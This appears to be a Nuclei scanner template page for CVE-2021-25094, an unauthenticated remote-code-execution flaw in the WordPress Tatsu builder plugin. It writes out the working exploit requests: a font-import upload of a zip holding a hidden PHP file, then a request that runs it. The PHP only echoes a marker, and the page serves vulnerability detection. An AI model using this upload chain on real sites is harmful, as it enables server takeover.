Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution

ID: CVE-2021-25094

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2021,wp,wp-plugin,wordpress,tatsu,rce

Description

An unrestricted file upload in WordPress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in the font import feature and put 100,000 websites at risk.

YAML Source

id: CVE-2021-25094

info:
  name: Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An unrestricted file upload in WordPress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in the font import feature and put 100,000 websites at risk.
  remediation: Fixed in 3.3.12
  reference:
    - https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/
    - https://wpscan.com/vulnerability/fb0097a0-5d7b-4e5b-97de-aacafa8fffcd/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25094
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2021-25094
    cwe-id: CWE-306
    cpe: cpe:2.3:a:brandexponents:tatsu:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    publicwww-query: "/wp-content/plugins/tatsu/"
  tags: cve,cve2021,wp,wp-plugin,wordpress,tatsu,rce

variables:
  marker: "{{randstr}}"
  b64marker: "{{base64(marker)}}"
  filename: "{{rand_base(5)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=a8bfdd88f26f754c25496d0dd4962d38

        --a8bfdd88f26f754c25496d0dd4962d38
        Content-Disposition: form-data; name="action"

        add_custom_font
        --a8bfdd88f26f754c25496d0dd4962d38
        Content-Disposition: form-data; name="file"; filename="{{filename}}.zip"

        {{zip('.{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
        --a8bfdd88f26f754c25496d0dd4962d38--

    matchers:
      - type: word
        part: body
        words:
          - '"name":"{{to_lower(filename)}}"'
          - '"status":"success'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/typehub/custom/{{to_lower(filename)}}/.{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'
# digest: 4a0a00473045022100b9181515341c3e319e24ece6e9a9506cca217b88b784a47ed9acb3c6227e7531022079e416a387879056c26ad9e4b2cf5e5c6815d921877ef4a644bd78077ba33294:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25094.yaml"

View on Github